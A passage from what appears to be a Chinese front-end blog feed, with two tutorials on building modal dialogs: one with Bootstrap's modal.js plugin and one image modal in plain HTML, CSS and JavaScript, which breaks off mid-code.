<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>在上一篇文章中,我们使用 js+css 实现了模态框效果,在理解了模态框的基本实现方法和实现效果后,我们就要寻找更快捷的方法,又快又好的来完成模态框开发需求,从而节约时间,提高效率。一个好的轮子,不仅能大幅减轻工作量,而且能让我们的代码更简明和优雅。</p><p>今天我们选择使用著名的 <em>bootstrap</em> 库的模态框插件 <em>modal</em>.<em>js</em> 来实现模态框效果,同时也使大家进一步熟悉 <em>bootstrap</em> 的插件使用。</p></blockquote><a id="more"></a><h3 id="bootstrap-的-js-插件"><a href="#bootstrap-的-js-插件" class="headerlink" title="bootstrap 的 js 插件"></a><em>bootstrap</em> 的 js 插件</h3><h4 id="引入"><a href="#引入" class="headerlink" title="引入"></a>引入</h4><ul><li><p>引入全部JS插件</p><p>我们在使用 <em>bootstrap</em> 库时,引入的文件 <em>bootstrap.js</em> 或者 <em>bootstrap.min.js</em> 就是 <em>bootstrap</em> 的插件文件,这两种文件都集成了 <em>bootstrap</em> 的所有插件,区别在于 *<em>.min.js</em> 是压缩后的版本。</p><p>我们在使用 b<em>o</em>otstrap 的 <code>js</code>插件时不需要做更多的工作,只需要引入这两个文件中的一个就可以了,另外重要的信息是 <em>bootstrap</em> 的所有插件都依赖于 <em>jquery</em> 库,<strong>所以在引入 <em>bootstrap</em> 的插件时,必须先引入 <em>jquery</em> 库。</strong></p></li><li><p>引入单个<code>JS</code>插件</p><p>如果只使用 <em>bootstrap</em>库的 某个插件,所以不想引入全部插件时,可以选择单独引入某个插件。此种方法需要你有要使用的插件的单独文件,<em>bootstrap</em> 官方共有 12 个 <em>js</em> 插件,你可以到 <a href="https://github.com/twbs/bootstrap" target="_blank" rel="noopener">github此处 </a>下载使用每个插件的单独文件。</p></li></ul><p>另外 bootstrap 有以下 12 个插件,大家可以大概做个了解:</p><ul><li>动画过渡(Transitions): <code>transition.js</code></li><li>模态弹窗(Modal): <code>modal.js</code></li><li>下拉菜单(Dropdown): <code>dropdown.js</code></li><li>滚动侦测(Scrollspy): <code>scrollspy.js</code></li><li>选项卡(Tab): <code>tab.js</code></li><li>提示框(Tooltips): <code>tooltop.js</code></li><li>弹出框(Popover): <code>popover.js</code></li><li>警告框(Alert): <code>alert.js</code></li><li>按钮(Buttons): <code>button.js</code></li><li>折叠/手风琴(Collapse): <code>collapse.js</code></li><li>图片轮播(Carousel): <code>carousel.js</code></li><li>自动定位浮标(Affix): <code>affix.js</code></li></ul><h4 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h4><ul><li><p>通过 <code>data</code> 属性 <em>API</em></p><p><em>bootstrap</em> 提供了一个非常方便的 <em>API</em> 来调用插件,那就是 <code>data</code> 属性 。我们不需要写很多 <em>js</em> 代码,只需要为 <em>HTML</em> 标签增加 <code>data-*</code> 属性,就可以调用 <code>js</code>插件实现各种效果 。</p><p>例如我们想为按钮绑定 下拉菜单效果,只需要为按钮添加 <code>data-toggle="dropdown"</code> 属性,在点击按钮时,就会调用 <em>dropdown</em> 插件了。</p></li><li><p>通过 <code>JS API</code></p><p>当然我们也可以使用 <em>bootstrap</em> 提供的 纯<em>javascript</em> <em>API</em> 来调用插件,例如为 i<em>d</em> 为 <em>test</em> 的 按钮绑定调用 <em>dropdown</em> 插件操作,可以使用如下的 <em>js</em> 代码:</p></li></ul><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$(<span class="string">"#test"</span>).dropdown(option) <span class="comment">//可带选项参数option</span></span><br></pre></td></tr></table></figure><h3 id="模态框插件详解"><a href="#模态框插件详解" class="headerlink" title="模态框插件详解"></a>模态框插件详解</h3><h4 id="代码结构"><a href="#代码结构" class="headerlink" title="代码结构"></a>代码结构</h4><p><em>bootstrap</em> 模态框插件是 <code>modal.js</code> 。使用的代码结构类如下:</p><ul><li><code>.modal</code> 模态框</li><li><code>.modal-dialog</code> 模态框主体</li><li><code>.modal-content</code> 模态框内容</li><li><code>.modal-header</code> 模态框内容头部(标题)</li><li><code>.modal-title</code> 模态框标题</li><li><code>.modal-body</code> 模态框内容主要内容部分</li><li><code>.modal-footer</code> 模态框内容底部 (可放置操作按钮等)</li></ul><p>一个模态框的结构类似如下</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">h1</span>></span>模态框是个值得学习的好效果<span class="tag"></<span class="name">h1</span>></span></span><br><span class="line"></span><br><span class="line"><span class="comment"><!-- 点击显示模态框按钮 --></span></span><br><span class="line"><span class="tag"><<span class="name">button</span> <span class="attr">class</span>=<span class="string">"btn btn-success"</span> <span class="attr">data-toggle</span>=<span class="string">"modal"</span> <span class="attr">data-target</span>=<span class="string">"#modalone"</span> <span class="attr">data-show</span>=<span class="string">"false"</span>></span>come on!<span class="tag"></<span class="name">button</span>></span></span><br><span class="line"></span><br><span class="line"><span class="comment"><!-- 模态框HTML --></span></span><br><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"modal fade"</span> <span class="attr">id</span>=<span class="string">"modalone"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"modal-dialog"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"modal-content"</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"><!-- 模态框的header--></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"modal-header"</span>></span></span><br><span class="line"> <span class="comment"><!-- 模态框的关闭按钮 --></span></span><br><span class="line"> <span class="tag"><<span class="name">button</span> <span class="attr">type</span>=<span class="string">"button"</span> <span class="attr">class</span>=<span class="string">"close"</span> <span class="attr">data-dismiss</span>=<span class="string">"modal"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">span</span> <span class="attr">aria-hidden</span>=<span class="string">"true"</span>></span>&times;<span class="tag"></<span class="name">span</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">button</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">h4</span> <span class="attr">class</span>=<span class="string">"modal-title"</span>></span>模态弹出窗标题<span class="tag"></<span class="name">h4</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"><!-- 模态框主体 --></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"modal-body"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span>></span>模态框主体<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"><!-- 模态框footer --></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"modal-footer"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span> <span class="attr">style</span>=<span class="string">"display: inline-block;"</span>></span>模态框底部<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">button</span> <span class="attr">class</span>=<span class="string">"btn btn-info"</span>></span>done<span class="tag"></<span class="name">button</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><h4 id="data-属性-API"><a href="#data-属性-API" class="headerlink" title="data 属性 API"></a><code>data</code> 属性 <em>API</em></h4><ul><li><p>必须的 <code>data</code> 属性</p><p>点击出现模态框按钮的 <code>data-toggle="#modalone"</code> 属性表示 此按钮为模态框的触发器按钮,点击时弹出模态框。另外也可以使用 链接标签 <a>的 <em>href</em> 属性代替 <code>data-toggle</code> 将链接<a> 作为触发器,但不推荐点击链接时出现模态框。</a></a></p><p><code>data-target="#modalone"</code> 属性表示 触发的模态框窗口 ID 为 modalone 。一个页面可以有多个模态窗口触发器,但是一个触发器只能触发此属性对应的模态框,不能触发多个模态框。</p></li></ul><blockquote><p><em>.fade 格式化类可以为模态框弹出添加过渡效果。</em></p></blockquote><blockquote><p><em>.close 格式化类 和 <code>data-dismiss</code> 属性配合可以为模态框添加关闭按钮。</em></p></blockquote><ul><li><p>可选的 <code>data</code> 属性</p><p>另外还有一些其他可选的 <code>data</code> 属性,可以增强模态框的表现效果。如下:</p><ul><li><code>data-backdrop</code> 是否包含一个背景 DIV 从而在单击背景时关闭模态框,属性值为 <em>true</em> 时 包含, 为 <em>static</em> 时不包含。</li></ul><ul><li><code>data-keyboard</code> 为 <em>true</em> 时按下键盘 <em>ESC</em> 时模态框关闭,false时不关闭</li><li><code>data-show</code> 为<em>true</em>时页面加载后不显示,为<em>false</em>时显示</li></ul></li></ul><h4 id="JS-API"><a href="#JS-API" class="headerlink" title="JS API"></a><code>JS</code> <em>API</em></h4><p>通过<code>JS</code> 代码调用插件初始化模态框也可以达到与设置<code>data</code>属性达到相同的效果,代码如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$(<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> $(<span class="string">".btn"</span>).click(<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> $(<span class="string">"#modalone"</span>).modal({</span><br><span class="line"> backdrop: <span class="literal">false</span>, <span class="comment">// 相当于data-backdrop</span></span><br><span class="line"> keyboard: <span class="literal">false</span>, <span class="comment">// 相当于data-keyboard</span></span><br><span class="line"> show: <span class="literal">true</span>, <span class="comment">// 相当于data-show</span></span><br><span class="line"> remote: <span class="string">""</span> <span class="comment">// 相当于a标签作为触发器的href</span></span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line">});</span><br></pre></td></tr></table></figure><h4 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h4><p>最后,以上模态框代码效果如下:</p><p>未点击按钮时:</p><p><img src="https://s1.ax1x.com/2018/04/15/CZLjmV.png" alt="img"></p><p>点击后:</p><p><img src="https://s1.ax1x.com/2018/04/15/CZOSkF.png" alt="img"></p><p>一个简单的模态框效果就制作完成了。</p><h3 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h3><h4 id="JS-API-方法"><a href="#JS-API-方法" class="headerlink" title="JS API 方法"></a><code>JS API</code> 方法</h4><p>JS 代码调用插件, <code>$('#myModal').modal()</code>方法的参数除了使用 <code>option</code> 参数初始化模态框外,还有以下几个方法:</p><ul><li><code>$('#modalone').modal('toggle')</code> 切换模态框显示隐藏</li><li><code>$('#modalone').modal('show')</code> 打开模态框</li><li><code>$('#modalone').modal('hide')</code> 手动关闭模态框</li></ul><h4 id="事件"><a href="#事件" class="headerlink" title="事件"></a>事件</h4><p>同时,模态框插件还提供了以下几个钩子事件函数,可以在<code>JS</code>代码中使用来达到丰富模态框效果或添加更多功能的目的。</p><p>使用方式为:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$(<span class="string">'#modalone'</span>).on(<span class="string">'hidden.bs.modal'</span>, <span class="function"><span class="keyword">function</span> (<span class="params">e</span>) </span>{</span><br><span class="line"> <span class="comment">// do something...</span></span><br><span class="line">})</span><br></pre></td></tr></table></figure><table><thead><tr><th>show.bs.modal</th><th>在show方法调用时立即触发(尚未显示之前);如果单击了一个元素,那么该元素将作为事件relatedTarget事件</th></tr></thead><tbody><tr><td>shown.bs.modal</td><td>该事件在模态窗完全显示给用户之后(并且等CSS动画完成之后)触发;如果单击了一个元素,那么该元素将作为事件relatedTarget事件</td></tr><tr><td>hide.bs.modal</td><td>在hide方法调用时(但还未关闭隐藏)立即触发</td></tr><tr><td>hidden.bs.modal</td><td>该事件在模态弹出窗完全隐藏之后(并CSS动画漂亮完成之后)触发</td></tr></tbody></table><p>以上就是 <em>bootstrap</em> 的模态框插件的相关知识,希望大家喜欢。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> JavaScript </tag>
</tags>
</entry>
<entry>
<title>图片模态框效果实现(一):JS实现</title>
<link href="/2017/06/11/modal-1/"/>
<url>/2017/06/11/modal-1/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>很多时候我们在浏览图片时,会发现<strong>点击图片后,会弹出一个被点击图片的放大图片浮在页面上,占满整个窗口。</strong>这就是图片模态框效果。</p><p>这个效果可以使用某些<code>js</code>库实现,如<strong><em>bpopupJs</em></strong>。但是在这里我们使用纯<code>js</code>实现,能够更好理解效果原理和实现方法。</p></blockquote><a id="more"></a><h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><p>我们点击小图片之后,图片模态框出现,同时图片模态框上有一个关闭按钮和图片的标题。</p><p>因此,我们的实现思路就是:</p><ol><li>图片模态框有大图片,关闭按钮,图片标题三部分。</li><li>将图片模态框隐藏,在点击小图片之后,模态框出现。</li><li>点击关闭按钮后,模态框隐藏。</li></ol><h3 id="HTML"><a href="#HTML" class="headerlink" title="HTML"></a><code>HTML</code></h3><p>首先,我们的原始页面上有一个图片如下:</p><p><img src="https://img.catqu.com/images/2018/04/15/mo11.png" alt="img"></p><p>HTML代码如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">h2</span>></span>图片点击弹出模态框效果<span class="tag"></<span class="name">h2</span>></span></span><br><span class="line"><span class="tag"><<span class="name">p</span>></span>图片模态框很不错,是个值得学习的效果<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"><span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"star.jpeg"</span> <span class="attr">id</span>=<span class="string">"real"</span> <span class="attr">alt</span>=<span class="string">"model test picture"</span>></span></span><br></pre></td></tr></table></figure><p>模态框的HTML代码如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"motai"</span> <span class="attr">id</span>=<span class="string">"mo"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">span</span> <span class="attr">class</span>=<span class="string">"close"</span> <span class="attr">id</span>=<span class="string">"close"</span>></span>×<span class="tag"></<span class="name">span</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">img</span> <span class="attr">class</span>=<span class="string">"motaiimg"</span> <span class="attr">id</span>=<span class="string">"moimg"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"caption"</span>></span><span class="tag"></<span class="name">div</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><h3 id="CSS"><a href="#CSS" class="headerlink" title="CSS"></a><code>CSS</code></h3><p>我们需要通过css设置模态框中各元素的表现效果同时将其隐藏起来,具体有如下几步:</p><h4 id="模态框"><a href="#模态框" class="headerlink" title="模态框"></a>模态框</h4><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-id">#mo</span>{</span><br><span class="line"> <span class="attribute">display</span>: none;<span class="comment">/*隐藏模态框*/</span></span><br><span class="line"> <span class="attribute">width</span>: <span class="number">100%</span>;</span><br><span class="line"> <span class="attribute">height</span>: <span class="number">100%</span>;</span><br><span class="line"> <span class="attribute">position</span>: fixed;<span class="comment">/*定位方式为固定定位*/</span></span><br><span class="line"> <span class="attribute">overflow</span>: auto;<span class="comment">/*不滚动*/</span></span><br><span class="line"> <span class="attribute">background-color</span>: <span class="built_in">rgba</span>(0,0,0,0.7);</span><br><span class="line"> <span class="attribute">top</span>: <span class="number">0px</span>;</span><br><span class="line"> <span class="attribute">left</span>: <span class="number">0px</span>;</span><br><span class="line"> <span class="attribute">z-index</span>: <span class="number">1</span>;<span class="comment">/*置于页面图层之上*/</span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h4 id="关闭按钮"><a href="#关闭按钮" class="headerlink" title="关闭按钮"></a>关闭按钮</h4><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.close</span>{</span><br><span class="line"> <span class="attribute">font-size</span>: <span class="number">40px</span>;</span><br><span class="line"> <span class="attribute">font-weight</span>: bold;</span><br><span class="line"> <span class="attribute">position</span>: absolute;</span><br><span class="line"> <span class="attribute">top</span>: <span class="number">20px</span>;</span><br><span class="line"> <span class="attribute">right</span>: <span class="number">14%</span>;</span><br><span class="line"> <span class="attribute">color</span>:<span class="number">#f1f1f1</span>;</span><br><span class="line"> }</span><br><span class="line"><span class="selector-class">.close</span><span class="selector-pseudo">:hover</span>,</span><br><span class="line"><span class="selector-class">.close</span><span class="selector-pseudo">:focus</span>{</span><br><span class="line"> <span class="attribute">color</span>:<span class="number">#bbb</span>;</span><br><span class="line"> <span class="attribute">cursor</span>:pointer;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h4 id="模态框中图片"><a href="#模态框中图片" class="headerlink" title="模态框中图片"></a>模态框中图片</h4><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-id">#moimg</span>{</span><br><span class="line"> <span class="attribute">display</span>: block;<span class="comment">/*图片表现为块*/</span></span><br><span class="line"> <span class="attribute">margin</span>:<span class="number">25px</span> auto;<span class="comment">/*图片居中对齐*/</span></span><br><span class="line"> <span class="attribute">width</span>: <span class="number">60%</span>;</span><br><span class="line"> <span class="attribute">max-width</span>: <span class="number">750px</span>;<span class="comment">/*自适应布局*/</span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h4 id="图片标题"><a href="#图片标题" class="headerlink" title="图片标题"></a>图片标题</h4><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-id">#caption</span>{</span><br><span class="line"> <span class="attribute">text-align</span>: center;<span class="comment">/*文本居中*/</span></span><br><span class="line"> <span class="attribute">margin</span>: <span class="number">15px</span> auto;</span><br><span class="line"> <span class="attribute">width</span>: <span class="number">60%</span>;</span><br><span class="line"> <span class="attribute">max-height</span>: <span class="number">750px</span>;</span><br><span class="line"> <span class="attribute">font-size</span>: <span class="number">20px</span>;</span><br><span class="line"> <span class="attribute">color</span>:<span class="number">#ccc</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h4 id="动画效果"><a href="#动画效果" class="headerlink" title="动画效果"></a>动画效果</h4><p>如果想实现点击后扩大的动画效果,可以增加以下代码:</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-id">#moimg</span>,<span class="selector-id">#caption</span>{</span><br><span class="line"> <span class="attribute">-webkit-animation</span>: popup <span class="number">1s</span>;</span><br><span class="line"> <span class="attribute">-o-animation</span>: popup <span class="number">1s</span>;</span><br><span class="line"> <span class="attribute">animation</span>: popup <span class="number">1s</span>;</span><br><span class="line">}</span><br><span class="line">@<span class="keyword">keyframes</span> popup{</span><br><span class="line"> <span class="selector-tag">from</span>{<span class="attribute">transform</span>: <span class="built_in">scale</span>(0.1);}</span><br><span class="line"> <span class="selector-tag">to</span>{<span class="attribute">transform</span>: <span class="built_in">scale</span>(1);}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过以上步骤,我们已经制作好了模态框页面。在使用js来完成交互效果就可以了。</p><h3 id="JS"><a href="#JS" class="headerlink" title="JS"></a><code>JS</code></h3><p><code>js</code>代码主要是图片和关闭按钮的点击交互,需要注意的是<code>js</code>代码须位于模态框<code>HTML</code>代码之后,<code>js</code>具体代码如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> motai=<span class="built_in">document</span>.getElementById(<span class="string">'mo'</span>)</span><br><span class="line"><span class="keyword">var</span> moimg=<span class="built_in">document</span>.getElementById(<span class="string">"moimg"</span>)</span><br><span class="line"><span class="keyword">var</span> realimg=<span class="built_in">document</span>.getElementById(<span class="string">"real"</span>)</span><br><span class="line"><span class="keyword">var</span> caption=<span class="built_in">document</span>.getElementById(<span class="string">"caption"</span>)</span><br><span class="line"></span><br><span class="line">realimg.onclick=<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> motai.style.display=<span class="string">"block"</span></span><br><span class="line"> moimg.src=<span class="keyword">this</span>.src</span><br><span class="line"> caption.innerHTML=<span class="keyword">this</span>.alt</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> span=<span class="built_in">document</span>.getElementById(<span class="string">"close"</span>);</span><br><span class="line"></span><br><span class="line">span.onclick=<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> motai.style.display=<span class="string">"none"</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过以上步骤,图片的模态框效果就实现了,</p><p><img src="https://img.catqu.com/images/2018/04/15/mo2.png" alt="img"></p><p>最后总的代码如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE html></span></span><br><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">title</span>></span>close<span class="tag"></<span class="name">title</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">style</span>></span><span class="undefined"></span></span><br><span class="line"><span class="css"> <span class="selector-id">#real</span>{</span></span><br><span class="line"><span class="css"> <span class="comment">/*点击弹出模态框的图片*/</span></span></span><br><span class="line"><span class="undefined"> margin: 30px;</span></span><br><span class="line"><span class="undefined"> width: 250px;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">border-radius</span><span class="selector-pseudo">:6px</span>;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="css"> <span class="selector-id">#real</span><span class="selector-pseudo">:hover</span>{</span></span><br><span class="line"><span class="css"> <span class="selector-tag">opacity</span>: 0<span class="selector-class">.6</span>;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="css"> <span class="selector-id">#mo</span>{</span></span><br><span class="line"><span class="css"> <span class="selector-tag">display</span>: <span class="selector-tag">none</span>;<span class="comment">/*隐藏*/</span></span></span><br><span class="line"><span class="undefined"> width: 100%;</span></span><br><span class="line"><span class="undefined"> height: 100%;</span></span><br><span class="line"><span class="undefined"> position: fixed;</span></span><br><span class="line"><span class="undefined"> overflow: auto;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">background-color</span>: <span class="selector-tag">rgba</span>(0,0,0,0<span class="selector-class">.7</span>);</span></span><br><span class="line"><span class="undefined"> top: 0px;</span></span><br><span class="line"><span class="undefined"> left: 0px;</span></span><br><span class="line"><span class="undefined"> z-index: 1;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="css"> <span class="selector-id">#moimg</span>{</span></span><br><span class="line"><span class="undefined"> display: block;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">margin</span><span class="selector-pseudo">:25px</span> <span class="selector-tag">auto</span>;</span></span><br><span class="line"><span class="undefined"> width: 60%;</span></span><br><span class="line"><span class="undefined"> max-width: 750px;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="css"> <span class="selector-id">#caption</span>{</span></span><br><span class="line"><span class="undefined"> text-align: center;</span></span><br><span class="line"><span class="undefined"> margin: 15px auto;</span></span><br><span class="line"><span class="undefined"> width: 60%;</span></span><br><span class="line"><span class="undefined"> max-height: 750px;</span></span><br><span class="line"><span class="undefined"> font-size: 20px;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">color</span>:<span class="selector-id">#ccc</span>;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="css"> <span class="selector-id">#moimg</span>,<span class="selector-id">#caption</span>{</span></span><br><span class="line"><span class="undefined"> -webkit-animation: first 1s;</span></span><br><span class="line"><span class="undefined"> -o-animation: first 1s;</span></span><br><span class="line"><span class="undefined"> animation: first 1s;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="css"> @<span class="keyword">keyframes</span> first{</span></span><br><span class="line"><span class="css"> <span class="selector-tag">from</span>{<span class="attribute">transform</span>: <span class="built_in">scale</span>(0.1);}</span></span><br><span class="line"><span class="css"> <span class="selector-tag">to</span>{<span class="attribute">transform</span>: <span class="built_in">scale</span>(1);}</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span 